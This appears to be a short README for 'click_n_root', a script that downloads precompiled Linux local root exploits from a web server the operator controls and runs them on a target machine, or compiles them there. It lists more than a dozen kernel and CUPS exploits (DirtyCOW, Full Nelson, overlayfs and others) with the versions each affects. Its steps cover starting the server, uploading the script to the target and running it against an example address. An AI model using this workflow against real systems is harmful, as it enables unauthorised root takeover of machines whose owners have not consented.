This is a small script to make the local exploitation process easier. It downloads the precompiled exploit for x86 and x64 architectures and can also automatic compile local on the target system
- DirtyCOW AddUser (Ubuntu <4.4/<3.13; Debian <4.7.8)
- DirtyCOW Pokeball (Linux Kernel 2.6.22 < 3.9)
- Mempodipper (Linux 2.6.39<3.2.2 Gentoo/Debian)
- Full Nelson (Linux 2.6.31<2.6.37 RedHat/Debiab)
- Half Nelson (Linux Kernel 2.6.0<2.6.36.2)
- Clown NewUser (Linux 3.0<3.3.5)
- fasync_helper (Linux Kernel <2.6.28)
- overlayfs (Linux 3.13.0<3.19)
- pipe.c root(kit?) (Kernel 2.6.x (32 Bit only!))
- PERF_EVENTS (Kernel 2.6.32-3.8.10)
- CAN BCM Exploit (Kernel <2.6.36)
- Cups local Exploit (Cups <1.1.17)
- Download from git
- Start easy Webserver with "sudo ./server.py"
- Now a Webserver is open on your local ip on port 80, serving all files given in the clickNroot folder.
- Upload the click_n_root.sh -Script to the target linux machine
- Give executable rights to the click_n_root -Script (chmod 755 KlickAndRoot.sh)
- Execute the script with given Server and Folder and choose an option/exploit
- E.g.: ./click_n_root 192.168.0.200/click_n_root
Cheers!